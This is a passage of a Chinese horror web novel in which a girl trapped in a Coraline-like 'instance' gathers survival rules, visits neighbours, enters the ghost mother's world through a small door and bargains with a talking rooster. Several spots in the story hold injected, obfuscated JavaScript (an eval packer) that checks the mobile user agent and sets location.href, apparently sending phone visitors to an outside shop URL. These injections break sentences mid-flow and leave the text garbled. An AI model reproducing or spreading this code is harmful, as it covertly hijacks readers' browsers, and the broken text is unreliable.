譬如她曾经有一次在窗外不小心看见黄小姐和她那远房表姐抱在一起,被发现后黄小姐还给了她一块蜜饯儿,叫她别往外说;又譬如倒座房里的方伯是玩杂耍的,房里养了不少黄皮子,味道浓得叫人想吐,但方伯居然一点儿不在乎,有时候还对着黄皮子自言自语,怪瘆人的;再譬如她奶奶养的鸡里出了一只全身白羽毛而且病怏怏的大公鸡,每天凌晨三点都要大声打鸣,她嫌吵,闹着要吃了那只鸡,但她奶奶就是不杀那只公鸡,等等等等…… 舒怀瑾将这些信息和记忆里的故事一一比对,大概掌握了这个副本的基础关系网,心下安定了一些。 既然黄小姐会算命,她就先去找黄小姐,看看能不能发现新的守则吧。 …… 天色有些阴沉,看起来是要下雨的模样。 舒怀瑾敲响了西厢房的房门,不过片刻,就有一道爽利的声音从门内传来。 “是谁在敲门?” 门“吱呀”一声被拉开,一位花枝招展约莫二三十岁的丰韵女子挑眉看向门口来访的豆丁舒怀瑾,笑道:“原来是你。新来的娃娃,你是要来我家做客吗?” 这副孩童模样倒挺方便她打听消息的。舒怀瑾这样想着,仰首带笑回望过去:“我听说姐姐长得好看得紧,所以忍不住想见见姐姐。今日一看,姐姐真真是神仙模样。” 这句话夸到黄小姐心窝里去了,她顿时笑容更盛:“哎哟,这小嘴甜的。来来,快进来,我去给你拿蜜饯儿吃。” 她一手牵住舒怀瑾往房里带,一边朝房内叫道:“阿英,来客了!” 房内走出来一位年龄稍大些的瘦削女子,想来就是黄小姐的远房表姐了。她应了一声,拿了三只玲珑剔透的琉璃盏,从壶中倒了些茶水,端上了桌。 走进房内一看,这房中四处挂了鸟笼,里边的鸟儿却不像往常见到的鸟儿一般叽叽喳喳,竟是一声也不叫。 黄小姐从金丝檀木柜里取出一碟蜜饯摆上桌,推给舒怀瑾:“你叫什么名字?” “我姓舒,名怀瑾。” “哦,苏怀瑾。真是个好名字。” 和原文中情况差不多,黄小姐把她名字也叫错了。舒怀瑾没有开口纠正,毕竟纠正了也没用。 一切都沿着原文的轨迹徐徐前进,黄小姐和远方表姐没聊两句就开始相互拌嘴,说着说着就把兴趣放在了给舒怀瑾算命上。 远房表姐给舒怀瑾算了一卦,脸色骤然一变,说她过几日将有一难。 两人又斗嘴般地将卦象分析了一通。舒怀瑾原本没太当回事,毕竟她已经知道了剧情的走向,现在只需要找到守则就行。但当黄小姐拿出一张黄符时,她的眼睛一下就看直了。 这可是好东西啊。 黄小姐看见她的眼神,不禁有些得意,但又略显担忧地将黄符塞入她手中。 “我想,你会用得到这个的。” 【黄小姐的黄符】 使用方法:在门内将这张黄符贴在额头上,即可透过幻象,发掘真相。 舒怀瑾接过黄符,万分宝贝地收好,在连声道谢中被二人送出了门。 台阶上缓缓浮现出第二条守则。 【生存守则】 二、鸟儿是天生的哑巴,绝对不会鸣叫。假如你听见有鸟鸣,不要朝声源处张望,立即捂住耳朵朝反方向跑去,直到鸟鸣消失。 …… 蜻蜓在院子里四处低低地飞舞,天色愈发暗沉,浓得像一团化不开的墨。 如果不是为了守则,舒怀瑾是断断不会靠近眼前这间倒座房的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593677|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离这座厢房还有两米远,一股独属于黄皮子的气味就已经完全攻占了她的大脑。 那是一股浓浓的酸涩腐臭味和怪异硫磺味的混合,像爆炸后的化工厂一样令人头痛欲裂。 舒怀瑾捏着鼻子敲响了房门,然后转身,抬头,果然见到方伯从屋顶上一个跟斗翻了下来。 “哟,是新来的小孩。我知道你,你叫苏怀瑾。”方伯吹了声口哨,“你贼兮兮跑到我房门跟头来,是不是想悄悄看我的新杂耍?” 舒怀瑾刚想说话,背后的房门却发出令人牙酸的声音,惊得她立即转身看向背后。 倒座房的房门缓缓打开,一双琥珀色的眼睛在黑暗中幽幽发亮,随后接连亮起了第二双、第三双……直到整片黑暗都被眼睛填满。 上百只黄皮子在注视着舒怀瑾。 舒怀瑾硬着头皮,决定主动出击。 “你的黄皮子,有没有什么话想对我说?” 方伯明显愣了一下,看了看房中的黄皮子,又看了看舒怀瑾。 “你怎么知道?”他俯下身子凑到舒怀瑾耳边小声道,“黄皮子让我和你说,别进那个小门。” 舒怀瑾有些木然地点点头。照副本这个设定,今晚按照剧情来床边引诱她进小门的估计也是黄皮子了。一想到这件事情,她就忍不住心中发毛。 方伯说完话就进屋关门了。她默默远离了倒座房,眼见着天上落下数滴雨,在地面上形成一行字。 【生存守则】 三、请谨慎跟随假黄皮子,他们的腹中是沉甸甸的谎言。当黄皮子变成沙,请逃出那扇门。 大雨倾盆而下。 …… “你说巧不巧,我刚回家,就从箱子里看见了这个娃娃,和你简直一模一样!” 冒雨从东厢房跑到正院的小女孩淋了一身湿,但她热情依旧地将一个布娃娃递给了舒怀瑾。 那个娃娃同样身着一套棉布织就的深蓝宽袖背子和浅灰八幅裙,连料子略有些起球的小细节都一模一样。它的眼睛是两颗上好的黑珍珠,嘴巴扬起一个大大的微笑。 是了,这就是鬼妈妈按照舒怀瑾的模样专门做出来,又专门送到现实世界的玩偶。透过那双黑珍珠眼睛,鬼妈妈可以看到舒怀瑾所见的一切。 舒怀瑾虽然不想要这个娃娃,但剧情使然,她的身体还是被迫认命地接过了这个诡异的娃娃。 娃娃幽深的大眼睛一动不动地望着她,嘴角扬起的弧度缓缓加大。 【生存守则】 四、娃娃的眼睛永远跟随着你,但娃娃不会自己移动。假如你见到娃娃自行移动,请闭上眼睛默念三声自己的名字。当心,不要让她知道你内心最真实的渴望。 窗外闪电陡然划过阴沉一片的天空,一道响雷在乌云中炸响。 这样大的雨,不知道舒父舒母今晚会不会回来? 舒怀瑾的目光越过那简陋的梳妆台,落在它背后和墙体之间的缝隙中。有一扇门,在黑暗中露出了它的一角。 55. 暗宅珠影3 第一天晚上,天色微微开始昏暗时,舒父舒母还是正常回家了。 三人坐在简陋的餐桌上吃完一小碟蔫野菜,喝一点儿有盐味的水,这就算是今日的晚餐了。 沉默地吃完了饭,舒父舒母也不带歇息,将碗一撒手,搬把椅子去书房,点了盏昏暗的油灯就开始伏案挥笔。 舒父虽然是秀才,可他写的东西没多少人买,不得已只能靠抄书度日。舒母也略通文墨,因而每日熬到半夜临几百份字帖转手卖出去。这些微薄的收入就是这个家庭全部的经济来源。 油灯的火焰冒着苍白,墙壁上的衣蛾幼虫拖着灰白的筒巢缓缓蠕动,空气中的霉味随着夜晚的到来显得更加污浊不堪。 无人理会的舒怀瑾默默退出了书房,将餐桌上几个缺角的碟子收了,洗洗放进橱柜。 没什么油水,所以她甚至连皂角都没用就洗干净了。 她往卧室走着,把手上水珠往身上衣服一抹,抬头就看见娃娃坐在梳妆台上歪头看着她,黑珍珠眼睛闪过油亮的光芒。 没事,她什么都没看到。 舒怀瑾把头一撇,若无其事地把娃娃脸朝下往台面上一扣,随后坐在床上整理着自己的衣角。 她已经把梳妆台后那扇小门的钥匙拿到手了。只有那把钥匙镶嵌了黑珍珠,实在是很好认。 至于王氏姥姥家的那只白羽毛大公鸡,她隔着鸡舍围栏望了一下,果真如小女孩说的一般,行动有些惫懒。 她盯那只公鸡的时间不短。因此当那只公鸡侧头看到她的眼神后,他们短暂地对视时,她仿佛从它的眼里看出来了类似于“啊,怎么又有人”的无奈感。 一只公鸡能有这么明显的情感表达能力,只能说是天赋异禀。或许它就是这个副本设定中,原著里帮助主角逃离鬼妈妈所在平行世界的那只黑猫。 但现实世界里的黑猫是不会说话的,那只公鸡应当也是。总之舒怀瑾整整盯它盯了半个小时,但它愣是一声没吭。 不过,思及鸡也属于鸟类这一点,按照守则二的意思,要是鸡叫了估计她也得跑了。因此,大公鸡不出声才算得上是安全的信号。 想到这里,舒怀瑾转过身去,背对着娃娃将移液枪从背包中拿了出来。 今天下午没再发现新的守则,但剧情对她身体的控制时有时无,而且她暂时还没找到封死古井的办法,因而她不得不提前做好准备。 假如她今晚能够自己做选择的话,她一定不会进入那个小门。 毕竟,只要进入那个小门以后,什么时候能回来可能就全然掌握在鬼妈妈手里了。 但副本可不一定会给她这个逃避的机会。她今晚大概率会被迫“主动”进入小门,然后在小门里和鬼妈妈进行第一次会晤。 舒怀瑾将移液枪塞入宽大的袖子中,转过身来,额头却触碰到一片沙沙作响的冰凉。 和她一模一样的娃娃抵在了她的额头上。 几乎占据她视野的黑珍珠眼睛离她的眼睛只有咫尺之遥,一副前来偷看却还没来得及回去的模样。 片刻之后,牛顿似乎才重新掌管了这个副本中的力学规律,悬空的娃娃霎时间向下坠落。 坠落怎么不算自行移动呢?舒怀瑾果断闭上了双眼,心中将自己的名字默念了三遍,等到四周一切静悄悄,才谨慎地将眼皮掀开一条小缝。 娃娃安安静静地坐在梳妆台上,笑眼看着她,珠光闪烁。 舒怀瑾有些毛骨悚然。 …… 凌晨两点,娃娃的双眼沉默地注视着,窗外的银辉逐渐爬到床上熟睡的舒怀瑾身上。微光从床铺蔓延至地面,拉出床头一道长长的影子。 一只半米长的黄皮子直立着扒在舒怀瑾的床沿,顺滑油亮的黄褐色皮毛在月光下闪动着细碎的幽光。 它琥珀色的眼珠一动不动地盯着在梦中紧皱眉头的舒怀瑾,喉咙中发出“咔咔”的细响。 舒怀瑾面色愈发苍白,五指无意识地虚空抓握着,直到拳头陡然握紧,她猛然睁开了双眼,对上床头那双发光的眼睛。 还是来了。 她的背后已经全然是冷汗。九点钟一到,她就在剧情操纵下躺上了床,失去了意识。 她能感觉到自己的灵魂犹如被困在□□中一般,清醒地挣扎,却又无力逃脱沉睡的躯壳。 昏睡时,周围的一切对她来说就像被盛在老旧黑白电视机中,模糊又刺耳地播放着。但唯有黄皮子的“咔咔”声听在她耳朵中与众不同,像是一道清晰的童声在唱着缓慢悠扬的歌谣。 她仿佛是被歌声唤醒,但醒来之后依旧是动弹不得,只能静静地看着黄皮子松开她的床沿,四爪着地往小门碎步跑去。 黄皮子一步三回头,似乎在示意她跟上。她被操纵着从床上爬下,穿上两只鞋子就跟上了黄皮子的步伐。 白日里关得严丝合缝的小门,此时边角微微翘起,隐隐透出梦幻般的光芒。 舒怀瑾从衣襟中摸出那把镶嵌了黑珍珠的钥匙,打开了门锁。 门打开的那一刻,一阵潮湿而苦涩的风顿时朝她涌来,随后一条仿佛在节节生长的甬道出现在她的面前,流光溢彩。 黄皮子将身子一扭就钻入了甬道之中,她也机械性地爬了进去。 甬道中的霉味更加浓重,像是在见不得光的地方尘封了几百年的蛇蜕一般阴冷发涩。她的掌心触碰到甬道内壁,却是一手温热而毛绒绒的触感,像是什么东西的肠道一般,规律地呼吸收缩着,随着她的步伐微微颤动着。 她突然想起来原著中对于这个通道的描述了。 这是一条活了不知多久的甬道。 【生存守则】 五、它很古老,比她的年岁更长。只管往前走,但不要惊扰它,不要在它的腹中跌倒。 但她此时无法控制自己的身体,只能被操纵着在甬道中缓缓爬行。她的心跳声与呼吸声在甬道中不断回响,但幸而这段甬道并不长,黄皮子一闪身就消失在了甬道的另一端,不过一会儿她也抵达了终点的光亮之中。 将小门轻轻阖上,直起身来,她才感觉恢复了对身体的控制权。 她第一时间想尝试打开那扇小门,却发现门紧紧镶嵌在门框里,根本无法撼动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593678|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看来如果不见鬼妈妈的话,她是不能离开这儿了。 四周灯光璀璨,装潢华丽,就连床都是结构精巧的千工拔步床,住上就能实现脚不沾地的那种,一派公主闺房模样。 看来鬼妈妈还没有摸出她的真实需求,只是按照自己固有的习惯为她打造了这个世界。当然,身处这个副本的她应当也很难想象到,现在的女孩,哪怕是七岁的小孩,比起当处处受限的公主,更乐意做一名能掌握自己人生的女王。 不过这些都是题外话了。舒怀瑾深吸一口气,朝着房门走去,一把拉开了虚掩着的房门。 “怀瑾,你终于来了。” 面容慈祥和善的“母亲”缓缓走向她,眼睛是两颗黑亮的珍珠,在灯光下反射着温润的光芒。 她的模样除了眼睛上的不同,似乎和门另一边的舒母完全一样。但细看就可以发现,这位“母亲”的头更圆一些,脖颈更细长一些,四肢更修长,且胯部更宽,像一只直立的蜘蛛。 “怎地一动不动?”鬼妈妈笑道,喉咙中发出“咔咔”的响声,“别担心,这里一切都好,我是你的另一位母亲。来和我一起去见见你的另一位父亲吧。” 舒怀瑾顺从地点点头。鬼妈妈为了维持这一切如美梦一般的幻想,需要大量消耗自己的法力。现在是第一天,幻想稳定,说明她的法力尚且充足。现在和她撕破脸皮绝对是立即奔向死亡的不二法门。 她按照鬼妈妈的指示来到了书房。雅致的书墙前,一位沉稳平和的男子正抚须吟诗作对,正是眼睛变为珍珠后的舒父模样。 见到母女二人出现在门口,“父亲”立即上前迎接二人:“怀瑾也来了。” 他的目光偶尔飘到鬼妈妈的面上,又立即瑟缩了回去。 鬼妈妈温柔地瞥了“父亲”一眼,那目光如水,让“父亲”打了一个寒颤。 “我们的邻居也很欢迎你。听说你来了,都等着叫你去做客呢。” 鬼妈妈给舒怀瑾披上了一层貂毛披风,蹲下身子贴心地为她理了理沾了些蜘蛛网的额发:“我还为你叫了一个朋友来陪你。你瞧。” 大门被叩响,一个熟悉的身影推门而入——是王姥姥家的那名小女孩。 她的双眼同样是黑到发紫的珍珠,只是她的嘴被针线密密地缝上了,此时无声地望着舒怀瑾笑。 “去玩吧。祝你们度过一个愉快的夜晚。” 鬼妈妈将二人往外一推,便阖上了大门。 院子里的月光很好,这叫舒怀瑾一眼就望见了假山上的那只白羽毛大公鸡。 她立即转向身旁的小女孩:“你先去黄小姐家吧,我现在有事,过会儿就去找你。” 小女孩有些为难地看了看她,又看了看舒家关上的大门,最后还是保持着微笑点了点头,先行离开。 时间宝贵,舒怀瑾立即跑到了假山之下。她刚想开口,却眼见着一道疲惫的嗓音从白羽毛大公鸡的喙中传出。 “本鸡不以任何形式帮忙,仅有偿回答问题,一只死黄皮子一次。价格公道,不接受压价,耳聋者勿扰。” 舒怀瑾:啊? 56. 暗宅珠影4 月光在假山上编织成字,流淌而下。 【生存守则】 六、公鸡是全能全知的。当你听见公鸡的第一声啼鸣响起,请在保证完成第二条守则的情况下杀死视野中所有的假黄皮子。 舒怀瑾正思索着这条守则的含义,大公鸡的声音却再度响起。 “你站在这是要和我做买卖吗?有事说事,没事就麻烦你让一下哈,你身上人味太大,熏到我了。” 公鸡打了个哈欠,半耷拉着眼皮,调整到一个更舒服的姿势蹲着。 舒怀瑾仰头:“啊……我可以先赊账问问题,晚点再给你把黄皮子带过来吗?” “不行。”公鸡理了理有些脏污的羽毛,直截了当地拒绝了,“像你这种小孩,我见多了,说话最不可信了。” 经历过那么多次副本重置,原本心中充满正义感的热血抖擞大公鸡早已经心冷得像块冰坨子了。 它曾经被学生们掐着脖子鸡叫驱邪,被一把扔到鬼妈妈脸上转移注意力,被揪着翅膀扔到黄皮子堆里争取逃生时间。自打上一轮副本中它一次性被掐着脖子扔进了黄皮子堆里的鬼妈妈脸上后,它就下定决心再也不做一名老好鸡了。 从前的大公鸡已经死了,现在的它是钮祜禄·大公鸡。 舒怀瑾自然是不知道大公鸡的遭遇的,但她从它身上浓浓的班味里多少看出来了些门道。 既然没得转圜余地,她也只好十分可惜地摇了摇头,转身留下一个落寞的背影:“好吧。想我正直善良、助人为乐、仗义一生,想不到遇见这么个危险的副本,恐怕今日就要命丧于此。” “哎……真是好人没好报啊……” 或许是最后一句话触动了长久以来坚持帮助他人的大公鸡柔软的内心,也可能是舒怀瑾夹着嗓子发出的声音太过心碎,总之大公鸡心头一颤,当即出声喝止舒怀瑾的离开:“请留步!” 刚说完这句话,大公鸡就忍不住扇了自己一翅膀。老好鸡的毛病又犯了,果然自己就爱自讨苦吃。 “……看在你是新进这儿的份上,我就勉强同意你赊账一次吧。你想问什么?” 舒怀瑾立即折返,充满希冀地看向大公鸡:“谢谢你!你真是只大好鸡!” “我想问问,我该怎么样防止一些不属于现实世界的东西,比如说屋子里那位有黑珍珠眼睛的、和我母亲长得一样的人,从古井里爬出来呢?” 这句话其实包含三个问题,性价比极高。一,鬼妈妈是否会从古井中爬出来?二,如果她想从古井中爬出来的话,舒怀瑾应该怎么做?三,有别的东西会从古井中爬出来吗? 大公鸡显然也意识到了这一点,有些不满地瞥了舒怀瑾一眼,但还是开口道:“你说的那位已经意识到古井作为两个世界之间隧道的存在了,但她依赖于门里的那个世界,因而本体无法直接从井中爬出。” “除非,里面的世界不再接纳她,也不能再供养她了。” 大公鸡的眼睛转了一圈,语气又变了一番。 “不过,她享受狩猎的过程,这对她来说是一种有趣的游戏。所以,她或许会借助她身体的一部分时不时地在现实世界制造出些小动静。” “假如她或者她的肢体真的要从古井里爬出来了的话,你只有一个解决办法,就是消灭她。” 直面童年阴影,这真是一个对战斗能力和血条厚度要求极高的副本。舒怀瑾勉强扯出一个微笑。 “好的,谢谢你了。”她道了谢后,转头慢慢往黄小姐家走去。 大公鸡的声音从背后传来:“喂!别忘了还清你的赊账账单!” “没问题!” 舒怀瑾一面回应着,心中一面盘算着她存活的方式。 到了副本后期,鬼妈妈法力逐渐衰退,必定会想尽各种办法将她留在平行世界里。如果能忽悠她将自己放走是最好的,如果不行的话,她恐怕就要尝试用她的移液枪来大战鬼妈妈了。 也不知道鬼妈妈现在好不好骗。 ……不对。 舒怀瑾忽然顿下脚步,意识到她忽略了一个很重要的信息点。 公鸡说已经见过不知道多少像她这样的小孩了,而原文中在主角之前只有三个小孩进入过平行世界。再加上公鸡说鬼妈妈已经知道了那口古井的存在,说明鬼妈妈的认知已经比原文中要超前了。 也就是说,鬼妈妈或许已经见过许多像她这样进入副本中的人了。 她必须更谨慎才是。 …… 虽然不明白为什么在平行世界里,舒怀瑾家都已经这么有钱了,却还是要和别人拼一座四合院,但这种细节已经不重要了。 黄小姐所住的西厢房,此时已经全然变样,成了一座精致的梨园。走进门内一看,宽阔的戏台子打了灯,台下围了不知多少把椅子,上面几乎都站满了鸟儿。 舒怀瑾走到最前面一排,才看到了那个“小女孩”。她此时正安静地坐在位子上,像鸟儿一样沉默。 见到舒怀瑾到来,她才像灵魂归位一般热情地给她指了指自己身边的位置,示意她坐下。 在舒怀瑾落座的那一刹那,全场的灯光都归于黑暗,只剩下戏台中央一盏灯明亮地照着。 两位戏装女子陡然亮相在灯光之中。黄小姐身着青色长衫,头戴点犀头面,笑靥如花。她的表姐则是一袭素色长袍,眉宇间透着一股清冷,扮得是个小生模样。 二人在戏台上咿咿呀呀唱了一出《白娘子永镇雷峰塔》,歌声如鸟儿一般婉转凄凉,还中途扯了一脸茫然的舒怀瑾上台扮演法海。 直到一曲终了,全场的鸟儿都扑腾着翅膀鼓掌,衔来鲜花抛至台上,舒怀瑾才被两人从台上放下来。 “舒家妹妹,我们真是默契十足。”黄小姐亲昵地揽着她的肩,看起来年轻了不少。她的表姐同样是温柔地微笑着,紧紧贴在舒怀瑾的身侧,冰冷的手指扣住她的肩头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593679|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下来和我们一起排练下一场吧。” “……不好意思啊姐姐,我家规矩很严的,我娘叫我尽早回家。”舒怀瑾客客气气地把两人的手指掰开,往屋里唯一的一座钟表看去,“你们看,都已经凌晨三点半了,再不回去家里人得着急了。” 她说完这句话,余光瞥过不远处沉默地坐在座位上、面色有些担忧的小女孩,猛然想起来她曾经说过她家的大公鸡每天凌晨三点打鸣。 现在已经凌晨三点半了,她坐在梨园里却完全没有听见公鸡的打鸣声。 黄小姐和表姐还想再挽留一下舒怀瑾,却被舒怀瑾一下子挣脱开来,眼见着她像一阵旋风一样拉着小女孩的手就向外跑去。 “抱歉!我先回家了!” 留在梨园的两人微微摇了摇头,轻轻呢喃道:“没事,还有四天呢……” 舒怀瑾丢下方才那句话就奔到了室外。只见月光下的假山之上,那只公鸡仍然好端端地蹲在那儿。 她还没有死,是因为那只公鸡只在门外的世界打鸣吗?还是因为她没有看见黄皮子? 公鸡见她来了,没好气地一抬眼皮:“结清赊账!” 还好,还要她还账,估计自己暂时死不了。舒怀瑾心中莫名安定了一些。 门外边的黄皮子是方伯家养的,对她还有善意,她抓不得。但门里的黄皮子是鬼妈妈制造出来的,可以抓,而且估计还很好抓。 现在距离天亮还有些时候,她将宽大的衣裳下摆夹了起来,一挽袖子就准备去偷两只黄皮子。 不出所料,倒座房里鼬臭味无影无踪,甚至还飘着些淡淡的清香。舒怀瑾原本想偷偷溜进去偷黄皮子的,谁知道她才刚接近倒座房的后门,黑珍珠眼的方伯就从门里一下子闪身出来了。 一见舒怀瑾来了,他立即热情得有些反常地向舒怀瑾打招呼。随后也不管舒怀瑾是否愿意,直接带着舒怀瑾进了屋子,和他那同样是黑珍珠眼的一众黄皮子,开始为舒怀瑾表演起杂耍。 杂耍的确编排得精彩,但舒怀瑾自然是没有心思去看这些表演的,只是将目光放在这台上的黄皮子上。眼见着两只黄皮子身处于自己身前,而方伯正转过身去,没注意这边,舒怀瑾眼疾手快地一手掐住一只黄皮子的脖子,眨眼间就放进了意识空间的背包中。 转了一圈回来发现队伍里少了两只的方伯有点百思不得其解:“奇怪,这两只跑哪里去了?” 他黑洞洞的珍珠眼睛望向舒怀瑾:“舒家闺女,你看见了吗?” 门外的方伯根本不会叫对她的姓,所以舒怀瑾此时一点儿也不心虚:“没有啊。” “伯伯,既然你黄皮子不见了,那我就先不打扰你了哈,我先走了。” 她脚底抹油溜之大吉,只剩下“方伯”在房中幽幽地看向她离开的方向。 房中的鬼妈妈端坐着看向完全相同的方向,轻轻押了一口茶。 他们有着同一双黑珍珠眼睛。 57. 暗宅珠影5 舒怀瑾一溜烟跑到大公鸡面前,刚把黄皮子从背包里拎出来,却见到大公鸡忽然站起了身,目光投向她的身后,随后抖擞羽毛,消失在了风中。 她不明所以地往身后一看,才发现舒家的大门不知什么时候开了,而鬼妈妈此时正逆光站在门口,神色莫辨地看向舒怀瑾的双手。 那双手上此时还抓着两只半死不活的黄皮子。 “怀瑾,该归家了。” 鬼妈妈伸出修长的手指虚空点了点舒怀瑾手上的两只黄皮子,似乎有些忍俊不禁:“手上的东西就别带进家来了吧,多脏啊。” 跑了一趟才抓到的两只黄皮子,现在丢了固然可惜。但舒怀瑾现在也无法当着鬼妈妈的面将黄皮子收入背包中,只好将黄皮子抛在了地上,在鬼妈妈的招手下踏进了舒家的大门。 修长冰冷的手搭在舒怀瑾的肩上,指尖敲击着,发出金属般的撞击声。 “夜深了,去睡吧。” 鬼妈妈的嗓音仿佛带有一种让人无力反驳的魔力。舒怀瑾只感觉再度失去身体操控权,脚下软绵绵地跟随着鬼妈妈来到了她的卧室中。 花纹繁复的千工拔步床犹如一张巨大的蛛网,将舒怀瑾吞入腹中。她像提线木偶一般缓缓躺在了床的最深处,闭眼之前最后的景象是鬼妈妈坐在床头的椅子上,黑珍珠镶嵌的眼睛幽幽地闪着光。 “睡吧。” …… 第二日早上醒来时,舒怀瑾一睁眼就看见了坐在床头椅子上直勾勾盯着她的娃娃。 它的眼睛就像鬼妈妈的一样,乌黑发亮。 虽然刚醒时她被吓了一跳,但往好处想,有娃娃在至少说明她已经回到了小门外的世界了。 她身上的衣服有些脏了,但好在床看起来也不算干净,一掀开被子就有好些虫子四散逃逸出来,其中还夹杂了几只蟑螂。 噫。 她心中刚想吐槽两句,突然一声尖叫贯穿了她的脑仁。 “啊啊啊啊啊!被窝里为什么还会有蟑螂啊!救命!妈妈!好大的蟑螂!啊啊啊啊!” 这个声音开头还有些电流一般的“沙沙”声,到后面就是九转十八弯了。虽然叫得她有点头疼,但细听之下却感觉熟悉得很。 “江贮月是你吗?你别再鬼叫了……啊啊啊啊蟑螂啊啊啊啊!” 这下她听出来了,后面那声惨叫是邓溪明的。她们俩家乡偏北,没见过那么大的蟑螂,估计此时是一片兵荒马乱。 虽然情况有些出乎意料的混乱,但舒怀瑾顿时喜上眉梢:“我终于能听见你们说话了,你们在哪?映雪呢?” “我也能听见。”程映雪的声音稳稳传来,“我在一个叫《暗宅珠影》的副本里。” 虽然平日里怕鬼怕到干呕,但程映雪作为一名标准的岭南人,此时对待虫子倒是显得格外冷静。 江贮月和邓溪明那边显然闹腾了好一会儿,才惊魂未定地回应了她们二人的呼唤。 “我也是。” “我也。” 在舒怀瑾提议下,四人又经过一番自证身份后,才放心地开始分享起经历。她们的剧情基本上大差不差,遇见的邻居也完全一致,就像流水线制造的虚拟游戏一样,而她们是同时前来体验的玩家。 江贮月:“虽然这个副本给我的感觉很奇怪,但是暂时还算安全,每天也不会有那么多的死亡陷阱,算得上比较舒服了。” 邓溪明附和:“是啊,要是能一直舒服下去就更好了。” 可惜这是不可能的。这里毕竟是副本,四人对这个事实心知肚明。 但幸运的是,和朋友联系上以后,独自一人面对副本的恐惧感被大大降低。虽然无法见面,但她们之间还能利用技能传递道具,四舍五入就是战力大大增强。 四人正聊着自己找到的线索,面前却不约而同地弹出来一个弹框。 【你是一个行动力极强的女孩,绝对不会等到太阳高高升起都不起床哦。现在立刻去吃早饭吧!】 四个赖床大户被强制性带往餐桌,被迫吃起桌上那些黄得可怜的野菜。四人绿着脸,齿间的野菜夹了沙子,发出像通讯信号不佳时的电流噪响,一如她们刚恢复联系时江贮月声音中的杂音。 “说来也奇怪。这是单人副本,我们一开始不能联系,我也理解。”舒怀瑾腮帮子酸疼,但又没法控制自己上手揉,只好放飞思绪转移注意力,“为什么后面突然就给我们联系了?” 邓溪明想了一会儿:“你不是说鬼妈妈的能力会逐渐减弱吗?说不定一开始我们没法联系就是因为她屏蔽了我们的联系信号,现在这样就说明她法力不足了吧。” 这倒算得上是一个有可能的解释。但舒怀瑾目前还没发现其他的异样,因此只能将此问题留待观察。 把饭吃完后,身上的禁锢也就自然解开了。家长们都已经早早出去,屋子里又只剩下舒怀瑾一人。 收拾好东西转头一看,果然娃娃又坐在不远处的椅子上注视着她。只是这一回,娃娃用黑线勾勒的嘴角没再上扬,而是如海平面一般几乎没有弧度。 问了一圈,舍友们的娃娃也都变成这副面无表情的模样了,原本就诡异的眼珠这下更是死气沉沉。 原文中从没提到过娃娃的表情会发生改变,这难道是副本新加的剧情因素吗? 舒怀瑾凝视着它,若有所思。 …… 在这个副本的第二天,舒怀瑾除了被王姥姥的外孙女叫出去一起玩,多听了几耳朵八卦以外,白天并没有遇见什么特别的事情,也没有发现新的生存守则。 这个副本平静得像一滩死水。 但这些不过是表象,水下未知的裂缝与暗礁才是最可怕的。 夜晚转瞬间到来,舒怀瑾再度跟随着黄皮子穿过了那条甬道。 今夜的甬道,与昨晚那璀璨夺目的盛景相比,竟显得异常黯淡,仿佛被一层薄薄的尘埃轻轻覆盖。当舒怀瑾爬过甬道时,它内壁的收缩也明显更为缓慢,如同染上了耄老年华的些许无力。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593680|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次舒怀瑾没太再将心思放在甬道上。她依旧无法控制自己的身体,所以她干脆将目光投向了前面带路的黄皮子。 就在她爬出甬道、小门关闭的那一瞬间,她对身体的掌控权回归的同时,舒怀瑾闪电般突袭了那只带路的黄皮子,行云流水般把它扔进了背包里。 毕竟是送上门来的货币,不要白不要。 她拍了拍手,将味道祛除,这才发现房间内的陈设有些不同了。 没有了繁复的千工拔步床,也不再有精巧的梳妆台,取而代之的是简洁规整的家具,颇有现代极简主义风格的味道。 可以说,假如舒怀瑾拥有一套属于自己的房子的话,她应当是会这样布置的。 但这场景并不能令她欣喜,反而使她暗暗心惊——这些喜好,鬼妈妈是从何得知的? 还没等她摸清个所以然,推门而入的人更是让她浑身的血液凉了个彻底。 